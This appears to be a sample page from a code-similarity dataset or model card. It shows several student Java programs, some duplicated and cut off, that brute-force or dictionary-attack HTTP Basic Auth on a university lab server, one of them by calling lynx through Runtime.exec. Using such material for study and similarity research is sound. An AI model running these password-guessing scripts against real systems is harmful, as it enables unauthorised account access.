              connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
              connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
              connect.setRequestProperty("Authorization"," " + UserPass);
              connect.connect();
              status =connect.getHeaderField(0);
              status1 = status.substring( 9,12);
             if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
              {
              System.out.println("Password is " + pass);
              end=System.currentTimeMillis();
              diff = end - start;
              System.out.println("Time Taken = " + (diff/1000) + " secs");
              System.exit(0);
              }
              ((HttpURLConnection)connect).disconnect();
              connect = null;
            }

            System.out.println(" match found");

            dis.close();
            dis=null;

            connect = null;

     }

    catch (MalformedURLException malerr)
  {
  System.err.println("Unable  Open URL" + malerr);
  }

  catch (Exception ioerr)
  {
  System.err.println("Unable  open file" + ioerr);
  }




  }
}, 
import java.net.*;
import java.io.*;
import java.util.*;


public class Dictionary {

  public static void main(String args[])
  {
  int i,j,k;
  String pass = new String();
  String UserPass = new String();
  String status = new String();
  String status1 = new String();
  BasicAuth auth = new BasicAuth();
  URLConnection  connect;
   int start,end,diff;
  try {
               URL url = new URL ("http://sec-crack.cs.rmit.edu./SEC/2/");



              start =System.currentTimeMillis();

               BufferedReader dis = new BufferedReader(new FileReader("words"));


         while ((pass = dis.readLine()) != null)
          {


              UserPass= auth.encode("",pass);

              connect = url.openConnection();
              connect.setDoInput(true);
              connect.setDoOutput(true);

              connect.setRequestProperty("Host","sec-crack.cs.rmit.edu.");
              connect.setRequestProperty("Get","/SEC/2/ HTTP/1.1");
              connect.setRequestProperty("Authorization"," " + UserPass);
              connect.connect();
              status =connect.getHeaderField(0);
              status1 = status.substring( 9,12);
             if (status.equalsIgnoreCase("HTTP/1.1 200 OK"))
              {
              System.out.println("Password is " + pass);
              end=System.currentTimeMillis();
              diff = end - start;
              System.out.println("Time Taken = " + (diff/1000) + " secs");
              System.exit(0);
              }
              ((HttpURLConnection)connect).disconnect();
              connect = null;
            }

            System.out.println(" match found");

            dis.close();
            dis=null;

            connect = null;

     }

    catch (MalformedURLException malerr)
  {
  System.err.println("Unable  Open URL" + malerr);
  }

  catch (Exception ioerr)
  {
  System.err.println("Unable  open file" + ioerr);
  }




  }
}, source_sentence: 



import java.util.*;
import java.net.*;
import java.io.*;
import javax.swing.*;

public class PasswordCombination
{
    private int      pwdCounter = 0;
    private    int  startTime;
    private String   str1,str2,str3;
    private String   url = "http://sec-crack.cs.rmit.edu./SEC/2/";
    private String   loginPwd;
    private String[] password;
    private HoldSharedData data;
    private char[] chars = {'A','B','C','D','E','F','G','H','I','J','K','L','M',
                            'N','O','P','Q','R','S','T','U','V','W','X','Y','Z',
                            'a','b','c','d','e','f','g','h','i','j','k','l','m',
                            'n','o','p','q','r','s','t','u','v','w','x','y','z'};

    public PasswordCombination()
    {
        System.out.println("Programmed by   for INTE1070 Assignment 2");

        String input = JOptionPane.showInputDialog( "Enter number of threads" );
        if(  input == null  )
           System.exit(0);

        int numOfConnections = Integer.parseInt( input );
        startTime = System.currentTimeMillis();
        int pwdCounter  = 52*52*52 + 52*52 + 52;
        password = new String[pwdCounter];

        doPwdCombination();

        System.out.println("Total Number of Passwords Generated: " + pwdCounter);
        createConnectionThread( numOfConnections );
    }

    private void doPwdCombination()
    {
        for( int i = 0; i < 52; i ++ )
        {
            str1 = "" + chars[i];
            password[pwdCounter++] = "" + chars[i];
            System.err.print( str1 + " | " );

            for( int j = 0; j < 52; j ++ )
            {
                str2 = str1 + chars[j];
                password[pwdCounter++] = str1 + chars[j];

                for( int k = 0; k < 52; k ++ )
                {
                    str3 = str2 + chars[k];
                    password[pwdCounter++] = str2 + chars[k];
                }
            }
        }

        System.err.println( "\n" );
    }

    private void loadPasswords( )
    {
        FileReader     fRead;
        BufferedReader buf;
        String         line = null;
        String         fileName = "words";

        try
        {
            fRead = new FileReader( fileName );
            buf = new BufferedReader(fRead);

            while((line = buf.readLine( )) != null)
            {
                password[pwdCounter++] = line;
            }
        }
        catch(FileNotFoundException e)
        {
            System.err.println("File not found: " + fileName);
        }
        catch(IOException ioe)
        {
            System.err.println("IO Error " + ioe);
        }
    }

    private void createConnectionThread( int input )
    {
        data = new HoldSharedData( startTime, password, pwdCounter );

        int numOfThreads = input;
        int batch = pwdCounter/numOfThreads + 1;
        numOfThreads = pwdCounter/batch + 1;
        System.out.println("Number of Connection Threads Used:" + numOfThreads);
        ConnectionThread[] connThread = new ConnectionThread[numOfThreads];

        for( int index = 0; index < numOfThreads; index ++ )
        {
            connThread[index] = new ConnectionThread( url, index, batch, data );
            connThread[index].conn();
        }
    }
}  
sentences: 
import java.util.*;


public class Cracker
{
   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
   private Vector v;

   public Cracker()
   {
      v = new Vector( 52);
   }
   public void loadLetters()
   {
      int i;

      for( i = 0; i < letters.length; i++)
      {
	 String s = new StringBuffer().append( letters[i]).toString();
         v.add( s);
      }
   }
   public Vector getVictor()
   {
      return ;
   }
   public void loadPairs()
   {
      int i,j;

      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
         {
            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
	    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
	    v.add( s1);
	    v.add( s2);
	 }
      }
      for( i = 0; i < letters.length; i++)
      {
         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
	 v.add( s3);
      }
   }
   public void loadTriples()
   {
      int i, j, k;
      
      for( i = 0; i < letters.length; i++)
      {
         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
	 v.add( s4);
      }
      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
	 {
	    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
	    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
	    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
	    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
	    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
	    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
	    v.add( s5);
	    v.add( s6);
	    v.add( s7);
	    v.add( s8);
	    v.add( s9);
	    v.add( s10);
	 }
      }
      for( i = 0; i < letters.length - 2; i++)
      {
         for( j = i + 1; j < letters.length - 1; j++)
	 {
	    for( k = i + 2; k < letters.length; k++)
	    {
	       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
	       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
	       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
	       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
	       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
	       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
	       v.add( s11);
	       v.add( s12);
	       v.add( s13);
	       v.add( s14);
	       v.add( s15);
	       v.add( s16);
	    }
	 }
      }
   }
         
   public static void main( String[] args)
   {
      Cracker cr = new Cracker();
      cr.loadLetters();
      cr.loadPairs();
      cr.loadTriples();
      System.out.println(" far "+cr.getVictor().size()+" elements loaded");
   }
}
      
, 
import java.util.*;


public class Cracker
{
   private char[] letters = {'a', 'b', 'c', 'd', 'e', 'f', 'g', 'h', 'i', 'j', 'k', 'l', 'm', 'n', 'o', 'p', 'q', 'r', 's', 't', 'u', 'v', 'w', 'x', 'y', 'z', 'A', 'B', 'C', 'D', 'E', 'F', 'G', 'H', 'I', 'J', 'K', 'L', 'M', 'N', 'O', 'P', 'Q', 'R', 'S', 'T', 'U', 'V', 'W', 'X', 'Y', 'Z'};
   private Vector v;

   public Cracker()
   {
      v = new Vector( 52);
   }
   public void loadLetters()
   {
      int i;

      for( i = 0; i < letters.length; i++)
      {
	 String s = new StringBuffer().append( letters[i]).toString();
         v.add( s);
      }
   }
   public Vector getVictor()
   {
      return ;
   }
   public void loadPairs()
   {
      int i,j;

      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
         {
            String s1 = new StringBuffer().append( letters[i]).append( letters[j]).toString();
	    String s2 = new StringBuffer().append( letters[j]).append( letters[i]).toString();
	    v.add( s1);
	    v.add( s2);
	 }
      }
      for( i = 0; i < letters.length; i++)
      {
         String s3 = new StringBuffer().append( letters[i]).append( letters[i]).toString();
	 v.add( s3);
      }
   }
   public void loadTriples()
   {
      int i, j, k;
      
      for( i = 0; i < letters.length; i++)
      {
         String s4 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[i]).toString();
	 v.add( s4);
      }
      for( i = 0; i < letters.length - 1; i++)
      {
         for( j = i + 1; j < letters.length; j++)
	 {
	    String s5 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[j]).toString();
	    String s6 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[j]).toString();
	    String s7 = new StringBuffer().append( letters[j]).append( letters[j]).append( letters[i]).toString();
	    String s8 = new StringBuffer().append( letters[j]).append( letters[i]).append( letters[i]).toString();
	    String s9 = new StringBuffer().append( letters[i]).append( letters[j]).append( letters[i]).toString();
	    String s10 = new StringBuffer().append( letters[i]).append( letters[i]).append( letters[j]).toString();
	    v.add( s5);
	    v.add( s6);
	    v.add( s7);
	    v.add( s8);
	    v.add( s9);
	    v.add( s10);
	 }
      }
      for( i = 0; i < letters.length - 2; i++)
      {
         for( j = i + 1; j < letters.length - 1; j++)
	 {
	    for( k = i + 2; k < letters.length; k++)
	    {
	       String s11 = new StringBuffer().append( letters[i]).append( letters[j]).append(letters[k]).toString();
	       String s12 = new StringBuffer().append( letters[i]).append( letters[k]).append(letters[j]).toString();
	       String s13 = new StringBuffer().append( letters[k]).append( letters[j]).append(letters[i]).toString();
	       String s14 = new StringBuffer().append( letters[k]).append( letters[i]).append(letters[j]).toString();
	       String s15 = new StringBuffer().append( letters[j]).append( letters[i]).append(letters[k]).toString();
	       String s16 = new StringBuffer().append( letters[j]).append( letters[k]).append(letters[i]).toString();
	       v.add( s11);
	       v.add( s12);
	       v.add( s13);
	       v.add( s14);
	       v.add( s15);
	       v.add( s16);
	    }
	 }
      }
   }
         
   public static void main( String[] args)
   {
      Cracker cr = new Cracker();
      cr.loadLetters();
      cr.loadPairs();
      cr.loadTriples();
      System.out.println(" far "+cr.getVictor().size()+" elements loaded");
   }
}
      
, 

import java.*;
import java.io.*;
import java.util.*;

public class BruteForce
{
 public final static int TOTAL_TIMES=52*52*52;
 public char[] passwd;
 public static void main(String[] args) throws IOException
 {
  BruteForce bf=new BruteForce();
  System.out.println(" cracking...");
   time1=new Date().getTime();
  bf.doBruteForce(time1);
	 time2=new Date().getTime();
	System.out.println("Finish cracking.");
	System.out.println(" password found.");
  System.out.println("costs "+(time2-time1)+" milliseconds");
  System.exit(1);
 }

 void doBruteForce(int time1) throws IOException
 {
  passwd=new char[3];
  Runtime rt=Runtime.getRuntime();
   num=0;
  for(int i=(int)'z';i>=(int)'A';i--)
  {
    if(i==96)
     i=90;
    passwd[0]=(char)i;
    for(int j=(int)'z';j>=(int)'A';j--)
    {
     if(j==96)
      j=90;
     passwd[1]=(char)j;
     for(int k=(int)'z';k>=(int)'A';k--)
     {
      if(k==96)
       k=90;
      passwd[2]=(char)k;
      String password=new String(passwd);
			try
      {
				num++;

				
				Process p=rt.exec("lynx -auth=:"+password+" -source http://sec-crack.cs.rmit.edu./SEC/2/index.php");
				
				String ln = (new BufferedReader(new InputStreamReader(p.getInputStream()))).readLine();
	      p.destroy();

				if(ln!=null)
        
        if(ln.toCharArray()[0]=='C'&&ln.toCharArray()[1]=='o')
        {

          System.out.println(password);
					System.out.println("Finish cracking.");
					System.out.println(ln);
					System.out.println("password is "+password);
           time2=new Date().getTime();
          System.out.println("costs "+(time2-time1)+" milliseconds");
          System.out.println("The number of attempts is "+num);
		      System.exit(1);
        }
        
        

      } catch (FileNotFoundException exc) {
        System.out.println ("File Not Found");
				k++;
      } catch (IOException exc) {
		    System.out.println ("IOException");
        k++;
      } catch (NullPointerException exc) {
		    System.out.println ("NullPointerException");
        k++;
	  	}

     }
    }
  }
 }
}

datasets: buelfhood/SOCO_TRAIN_java
pipeline_tag: sentence-similarity
library_name: sentence-transformers
Likes: 0 | All-time downloads: 42
Created: 2025-06-11 11:43:40